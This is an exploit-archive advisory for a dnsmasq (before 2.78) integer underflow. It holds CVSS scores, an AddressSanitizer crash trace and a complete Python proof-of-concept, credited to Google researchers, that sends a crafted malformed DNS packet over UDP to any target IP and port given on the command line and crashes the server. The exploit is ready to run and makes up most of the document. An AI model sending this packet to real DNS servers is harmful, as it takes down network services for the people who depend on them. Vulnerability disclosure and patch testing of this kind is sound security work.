Dnsmasq < 2.78 Integer Underflow

2017.10.03
Credit: Multiple
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-191


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

''' dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet. ================================================================= ==2215==ERROR: AddressSanitizer: negative-size-param: (size=-4) #0 0x4b55be in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b55be) #1 0x59a70e in add_pseudoheader /test/dnsmasq/src/edns0.c:164:8 #2 0x59bae8 in add_edns0_config /test/dnsmasq/src/edns0.c:424:12 #3 0x530b6b in forward_query /test/dnsmasq/src/forward.c:407:20 #4 0x534699 in receive_query /test/dnsmasq/src/forward.c:1448:16 #5 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2 #6 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7 #7 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #8 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) 0x62200001ca2e is located 302 bytes inside of 5131-byte region [0x62200001c900,0x62200001dd0b) allocated by thread T0 here: #0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700) #1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15 #2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20 #3 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: negative-size-param (/test/dnsmasq/src/dnsmasq+0x4b55be) in __asan_memcpy ==2215==ABORTING ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <fjserna@google.com> # Felix Wilhelm <fwilhelm@google.com> # Gabriel Campana <gbrl@google.com> # Kevin Hamacher <hamacher@google.com> # Gynvael Coldwin <gynvael@google.com> # Ron Bowes - Xoogler :/ import socket import sys def negative_size_param(): data = '''00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 fe 32 01 13 79 00 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 5c 00 00 00 01 ff ff 00 35 13 01 0d 06 1b 00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 00 08 01 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 13 08 08 08 00 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 01 ff ff 00 35 13 00 00 00 00 00 b6 00 00 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 05 01 20 00 01 '''.replace(' ', '').replace('\n', '').decode('hex') return data if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: %s <ip> <port>' % sys.argv[0] sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) packet = negative_size_param() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1) s.sendto(packet, (ip, port)) s.close()

References:

https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14496.py
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html


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